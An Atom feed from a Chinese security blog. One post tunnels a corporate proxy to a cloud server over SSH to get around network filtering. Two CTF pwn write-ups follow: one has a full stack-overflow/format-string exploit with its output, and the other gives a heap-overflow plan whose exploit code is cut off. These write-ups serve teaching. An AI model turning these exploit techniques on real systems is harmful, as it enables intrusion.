<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>A4x7eq28&#39;Blog</title>
  
  
  <link href="http://www.4x7.fun/atom.xml" rel="self"/>
  
  <link href="http://www.4x7.fun/"/>
  <updated>2023-06-17T06:36:58.890Z</updated>
  <id>http://www.4x7.fun/</id>
  
  <author>
    <name>A4x7eq28</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>把本地可用的Proxy代理服务器带到ssh远程服务器上</title>
    <link href="http://www.4x7.fun/2023/06/17/%E6%8A%8A%E6%9C%AC%E5%9C%B0%E5%8F%AF%E7%94%A8%E7%9A%84Proxy%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%B8%A6%E5%88%B0ssh%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A/"/>
    <id>http://www.4x7.fun/2023/06/17/%E6%8A%8A%E6%9C%AC%E5%9C%B0%E5%8F%AF%E7%94%A8%E7%9A%84Proxy%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%B8%A6%E5%88%B0ssh%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A/</id>
    <published>2023-06-17T06:31:34.000Z</published>
    <updated>2023-06-17T06:36:58.890Z</updated>
    
    <content type="html"><![CDATA[<p>假如本地机器A在公司内网，可以通过代理服务器proxy.corp.com:8080科学上网。<br />ssh登录到阿里云的机器B，由于不在公司内网，默认情况下无法通过proxy.corp.com:8080科学上网。<br />这篇文章介绍，如何实现在机器B(阿里云的远程服务器）上，也能通过proxy.corp.com:8080科学上网。</p><h2 id="1-使用下面的脚本ssh登录阿里云的服务器b"><a class="markdownIt-Anchor" href="#1-使用下面的脚本ssh登录阿里云的服务器b"></a> 1. 使用下面的脚本ssh登录阿里云的服务器B</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line">#&gt;&gt;&gt;    Author:         Simon Huang</span><br><span class="line">#&gt;&gt;&gt;    Mail:           thelongestusernameofall@gmail.com</span><br><span class="line">#&gt;&gt;&gt;    Created Time:   Wed 25 Sep 2013 08:30:06 AM CST</span><br><span class="line">expect -c &quot;set timeout -1;</span><br><span class="line">            spawn -noecho ssh -R 8080:127.0.0.1:8080 username@aliyun-ip-address -p 2222;</span><br><span class="line">            expect *assword:*;</span><br><span class="line">            send user-password\r;</span><br><span class="line">            interact;&quot;;</span><br></pre></td></tr></table></figure><p>这个命令不仅实现了ssh登录，还同时把本地的8080端口映射到了B机器（阿里云）的8080上。<br />这样在B机器上，所有往返8080端口的数据都会转发到A机器的8080端口上。</p><h2 id="2-在a机器上将8080端口映射到proxycorpcom8080"><a class="markdownIt-Anchor" href="#2-在a机器上将8080端口映射到proxycorpcom8080"></a> 2. 在A机器上，<a href="http://xn--8080proxy-8y4oq3mrx4aua3237a7h9d.corp.com:8080">将8080端口映射到proxy.corp.com:8080</a></h2><h3 id="21-安装haproxy"><a class="markdownIt-Anchor" href="#21-安装haproxy"></a> 2.1 安装haproxy</h3><p><code>brew install haproxy</code></p><h3 id="22-配置haproxy"><a class="markdownIt-Anchor" href="#22-配置haproxy"></a> 2.2 配置haproxy</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">global</span><br><span class="line">    log stdout format raw local0</span><br><span class="line"></span><br><span class="line">defaults</span><br><span class="line">    mode http</span><br><span class="line">    option httplog</span><br><span class="line">    timeout connect 5000ms</span><br><span class="line">    timeout client 50000ms</span><br><span class="line">    timeout server 50000ms</span><br><span class="line"></span><br><span class="line">frontend http_front</span><br><span class="line">   bind *:8080</span><br><span class="line">   default_backend http_back</span><br><span class="line"></span><br><span class="line">backend http_back</span><br><span class="line">   server proxy_server proxy.corp.com:8080</span><br></pre></td></tr></table></figure><p>注意上面的配置，只需要根据实际情况修改代理服务器地址(<a href="http://xn--proxy-k97h.corp.com:8080">即proxy.corp.com:8080</a>）即可。其他内容一般情况下不用改动。<br />将该内容保存到/usr/local/etc/haproxy.cfg  （默认无此文件，新建即可）</p><h3 id="23-启动haproxy"><a class="markdownIt-Anchor" href="#23-启动haproxy"></a> 2.3 启动haproxy</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">haproxy -f /usr/local/etc/haproxy.cfg</span><br><span class="line"></span><br><span class="line">#注意该命令不会自动启动为服务或者到后台。ctrl-c快捷键或关掉shell即可杀死。</span><br><span class="line">#当不需要代理时，杀死该进程即可。</span><br></pre></td></tr></table></figure><h2 id="3-在b机器上阿里云的远程服务器上使用1270018080作为代理即可"><a class="markdownIt-Anchor" href="#3-在b机器上阿里云的远程服务器上使用1270018080作为代理即可"></a> 3. 在B机器上(阿里云的远程服务器）上使用127.0.0.1:8080作为代理，即可。</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">export http_proxy=http://127.0.0.1:8080</span><br><span class="line">export https_proxy=$http_proxy</span><br><span class="line"></span><br><span class="line">#测试代理起作用</span><br><span class="line">wget google.com</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;假如本地机器A在公司内网，可以通过代理服务器proxy.corp.com:8080科学上网。&lt;br /&gt;
ssh登录到阿里云的机器B，由于不在公司内网，默认情况下无法通过proxy.corp.com:8080科学上网。&lt;br /&gt;
这篇文章介绍，如何实现在机器B(阿里云的远</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>WriteUp: 2022DASCTF Apr X FATE: good_luck</title>
    <link href="http://www.4x7.fun/2022/04/24/WriteUp-2022DASCTF-Apr-X-FATE-good-luck/"/>
    <id>http://www.4x7.fun/2022/04/24/WriteUp-2022DASCTF-Apr-X-FATE-good-luck/</id>
    <published>2022-04-24T08:06:34.000Z</published>
    <updated>2022-04-24T08:06:34.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Partial RELRO</span><br><span class="line">Stack:    No canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><p>两处非常明显的漏洞，<code>overflow</code>函数中的<code>stack overflow</code>；<code>fmt</code>函数中的<code>format string attack</code>.</p><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p><code>format stirng attack</code>里的字符串输入使用的<code>gets</code>,该函数读到<code>0x0a</code>即(<code>换行符 \n</code>)就会终止，而<code>ROP Gadget</code>中<code>pop rdi;ret</code>的地址中恰好包含<code>0x0a</code>，因此想要使用<code>rop chain</code>调用<code>elf.plt['puts']</code>,输出<code>elf.got['puts']</code>的计划落空。</p><p>想要<code>leak libc</code>, 这里还可以通过<code>format string attack</code>。</p><p>在<code>leak libc</code>之后，再使用<code>stack overflow</code> 劫持控制流，执行<code>one gadget</code>.</p><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python3</span></span><br><span class="line"><span class="keyword">from</span> os <span class="keyword">import</span> remove</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.clear(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">elf = context.binary = ELF(<span class="string">&quot;bin&quot;</span>)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.LOG:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">gs = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">set breakpoint pending on</span></span><br><span class="line"><span class="string"># b *0x40089F</span></span><br><span class="line"><span class="string">b printf </span></span><br><span class="line"><span class="string">continue</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">if</span> args.GDB:</span><br><span class="line">        <span class="comment"># return gdb.debug(elf.path, gdbscript=gs)</span></span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line">    <span class="keyword">elif</span> args.REMOTE:</span><br><span class="line">        <span class="comment">#64.27.6.187 8888</span></span><br><span class="line">        <span class="comment"># return remote(&#x27;64.27.6.187&#x27;, 8888)</span></span><br><span class="line">        <span class="keyword">return</span> remote(<span class="string">&#x27;39.99.242.16&#x27;</span>, <span class="number">10000</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(elf.path)</span><br><span class="line"></span><br><span class="line">sla = <span class="keyword">lambda</span> a, b: io.sendlineafter(a, b)</span><br><span class="line">sa = <span class="keyword">lambda</span> a, b: io.sendafter(a, b)</span><br><span class="line">rl = <span class="keyword">lambda</span>: p.recvline()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">good_start</span>():</span><br><span class="line">    <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">        io = start()</span><br><span class="line">        io.recvuntil(<span class="string">b&#x27;&gt;&gt;\ngood luck\n&#x27;</span>)</span><br><span class="line">        ctn = io.recvline()</span><br><span class="line">        <span class="keyword">if</span> ctn == <span class="string">b&quot;luck!\n&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span> io</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            io.close()</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        </span><br><span class="line">    <span class="keyword">return</span> io</span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"></span><br><span class="line">rop_rdi_ret = <span class="number">0x400a23</span>  <span class="comment"># pop rdi ; ret</span></span><br><span class="line">rop_rsi_r15_ret = <span class="number">0x400a21</span> <span class="comment"># pop rsi ; pop r15 ; ret</span></span><br><span class="line">rop_ret = <span class="number">0x40028e</span> <span class="comment"># ret</span></span><br><span class="line"></span><br><span class="line">io = good_start()</span><br><span class="line"><span class="keyword">if</span> args.GDB:</span><br><span class="line">    gdb.attach(io, gdbscript=gs)</span><br><span class="line"></span><br><span class="line">io.timeout = <span class="number">3000</span> </span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">80</span> + p64(<span class="number">0xbeadbeef</span>) <span class="comment">#ebp</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># payload += p64(rop_ret)</span></span><br><span class="line">payload += p64(elf.sym.fmt)  <span class="comment">#+ p64(rop_ret)</span></span><br><span class="line">payload += p64(elf.sym.overflow)*<span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># payload = b&quot;a&quot;*80 + p64(0xbeadbeef) + p64(0xbeadbeef)</span></span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;fmt\n&quot;</span>)</span><br><span class="line">payload = <span class="string">b&quot;%7$s&quot;</span>.ljust(<span class="number">8</span>, <span class="string">b&#x27;a&#x27;</span>) + p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">io.sendline(payload)</span><br><span class="line">puts_addr = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">&#x27;puts_addr: &#x27;</span> + <span class="built_in">hex</span>(puts_addr))</span><br><span class="line"><span class="comment"># 通过puts_addr到https://libc.blukat.me/查询libc版本</span></span><br><span class="line"></span><br><span class="line">libc.address = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line">log.success(<span class="string">&#x27;libc_base: &#x27;</span> + <span class="built_in">hex</span>(libc.address))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">80</span> + p64(<span class="number">0xbeadbeef</span>)</span><br><span class="line"><span class="comment"># payload += p64(0x4527a + libc.address)</span></span><br><span class="line">payload += p64(<span class="number">0x45226</span> + libc.address)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># payload = b&#x27;a&#x27;*80 + p64(0xbeadbeef) + p64(0xbeadbeef)</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;luck!\n&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;cat flag.txt&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;luck!\n&#x27;</span>)</span><br><span class="line">flag = io.recvline()</span><br><span class="line">log.success(<span class="string">&#x27;flag: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(flag))</span><br><span class="line"></span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line">io.close()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">─$ python xpl.py REMOTE</span><br><span class="line">[*] &#x27;2022DASCTF/good_luck/bin&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x3fe000)</span><br><span class="line">[*] &#x27;libs/2.23-0ubuntu11.3_amd64/libc-2.23.so&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[+] Opening connection to 39.99.242.16 on port 10000: Done</span><br><span class="line">[*] Closed connection to 39.99.242.16 port 10000</span><br><span class="line">[+] Opening connection to 39.99.242.16 on port 10000: Done</span><br><span class="line">[*] Closed connection to 39.99.242.16 port 10000</span><br><span class="line">[+] Opening connection to 39.99.242.16 on port 10000: Done</span><br><span class="line">[*] Closed connection to 39.99.242.16 port 10000</span><br><span class="line">[+] Opening connection to 39.99.242.16 on port 10000: Done</span><br><span class="line">[*] Closed connection to 39.99.242.16 port 10000</span><br><span class="line">[+] Opening connection to 39.99.242.16 on port 10000: Done</span><br><span class="line">[+] puts_addr: 0x7f95247f46a0</span><br><span class="line">[+] libc_base: 0x7f9524785000</span><br><span class="line">[+] flag: b&#x27;DASCTF&#123;7312255e-7b8a-4664-9a9f-3f67671452d7&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to 39.99.242.16 port 10000</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/match/matches/95/challenges#good_luck">https://buuoj.cn/match/matches/95/challenges#good_luck</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;t</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Stack Overflow" scheme="http://www.4x7.fun/tags/Stack-Overflow/"/>
    
    <category term="Format String Attack" scheme="http://www.4x7.fun/tags/Format-String-Attack/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: ciscn_2019_sw_7</title>
    <link href="http://www.4x7.fun/2022/04/20/WriteUp-ciscn-2019-sw-7/"/>
    <id>http://www.4x7.fun/2022/04/20/WriteUp-ciscn-2019-sw-7/</id>
    <published>2022-04-20T05:50:22.000Z</published>
    <updated>2022-04-20T05:56:10.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Full RELRO</span><br><span class="line">Stack:    Canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      PIE enabled</span><br></pre></td></tr></table></figure><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><p>该程序的漏洞点在<code>New Note</code>操作时, 若输入的<code>Note size</code>为<code>0</code>时，判定语句产生<code>Integer Underflow</code>；使得，<code>Note Content</code>可绕过<code>size</code>的判断而输入<code>任意</code>长度的内容；进而产生<code>Heap Overflow</code>.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">sub_A60</span><span class="params">(<span class="type">char</span> *outBuffer, __int64 size, <span class="type">char</span> endChar)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf; <span class="comment">// [rsp+2Fh] [rbp-21h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 i; <span class="comment">// [rsp+30h] [rbp-20h]</span></span><br><span class="line">  <span class="type">ssize_t</span> v7; <span class="comment">// [rsp+38h] [rbp-18h]</span></span><br><span class="line">  <span class="type">char</span> *outBuffer_; <span class="comment">// [rsp+40h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v9; <span class="comment">// [rsp+48h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v9 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  v7 = <span class="number">0LL</span>;</span><br><span class="line">  outBuffer_ = outBuffer;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0LL</span>; size - <span class="number">1</span> &gt; i; ++i )            <span class="comment">// underflow attack when size==0</span></span><br><span class="line">  &#123;</span><br><span class="line">    v7 = read(<span class="number">0</span>, &amp;buf, <span class="number">1uLL</span>);</span><br><span class="line">    <span class="keyword">if</span> ( v7 &lt;= <span class="number">0</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> ( buf == endChar )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    outBuffer_[i] = buf;</span><br><span class="line">  &#125;</span><br><span class="line">  outBuffer_[i] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> i;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p>攻击过程</p><ol><li>新增Note <code>A</code>, 使<code>A-&gt;size = 0</code>，从而<code>chunk_A-&gt;size = 0x20</code>,它在<code>heap</code>最上边。</li><li>新增9个Note, <code>BCDE FGHI J</code>, 它们的<code>size = 0x40</code>, 从而它们<code>chunk-&gt;size = 0x50</code>,依次在<code>chunk A</code>的下方邻近排列</li><li>通过<code>A</code>实施<code>heap overflow attack</code>，篡改<code>B_DE FGHI J</code>的<code>chunk-&gt;size</code>为<code>0xa0</code>,即原本<code>0x50</code>的二倍。从而<code>B_DE FGHI J</code>都会覆盖后面的<code>chunk</code>一部分。</li><li>逆序释放<code>BCDE FGHI J</code>， 即先后按<code>J IHGF EDCB</code>的顺序释放9个<code>chunk</code>.</li></ol><ul><li>实际上，主要<code>J</code>必须释放到<code>T-cache</code>中不能释放到<code>unsorted bin</code>中，否则会被其后紧邻的<code>top chunk</code>吃掉(<code>forward consolidate</code>); <code>B</code>最好释放到<code>unsorted bin</code>中，这样通过<code>A</code>进行篡改会更加方便。</li><li>此时的堆布局：</li></ul><p>//<br />//  T-cache<br />//       0xa0: D-&gt;E-&gt;F-&gt;G-&gt;H-&gt;I-&gt;J<br />//       0x50: C<br />// unsortedbin: B(0xa0)<br />//</p><p>实际上，<code>chunk C</code>是完全被<code>chunk B</code>覆盖的。<br />5. 将<code>C</code>新增成为<code>Note</code>(将会消耗点<code>T-cache 0x50 bin : C</code>)；之后再次申请<code>0x50 size</code>的<code>chunk</code>， 这时由于<code>T-cache</code>中已经无<code>0x50</code>的<code>chunk</code>，在<code>unsorted bin</code>中有<code>0xa0</code>的<code>chunk</code>，将会触发<code>malloc remaindering</code>, 即将<code>unsortedbin: B(0xa0)</code>分割出来一个<code>0x50</code>的<code>chunk</code>给当前的请求。剩下的<code>remainder</code>部分放回<code>unsorted bin</code>中。请求分配出去的部分，成为<code>New Note B</code>, 而放回到<code>unsorted bin</code>的部分，恰好和<code>C Note</code>重叠。这样通过读取<code>Note C</code>的内容，就可以<code>leak</code> <code>unsorted bin -&gt;fd (即 &amp;main_arena-&gt;top_chunk )</code>.<br />6. 读<code>C</code>内容，并计算出<code>libc</code>的偏移。<br />7. 将<code>chunk B</code>释放到<code>T-cache 0x50 bin</code>中。<br />8. 通过<code>note A</code>修改<code>B-&gt;fd</code>为<code>__free_hook</code>的地址。这将会把<code>__free_hook</code>所处内存块加入到<code>t-cache</code>链中。<br />9. 申请两次<code>chunk-size = 0x50</code>的<code>note</code>, 那么第二次的<code>memory chunk</code>即为<code>__free_hook</code>的<code>chunk</code>,修改<code>_free_hook</code>的值为<code>system</code>函数地址.<br />10. <code>free</code>一个<code>/bin/sh\0</code>的内存<code>chunk</code>，即可获取<code>shell</code>.</p><h1 id="0x3-exploit-code"><a class="markdownIt-Anchor" href="#0x3-exploit-code"></a> 0x3 Exploit Code</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span 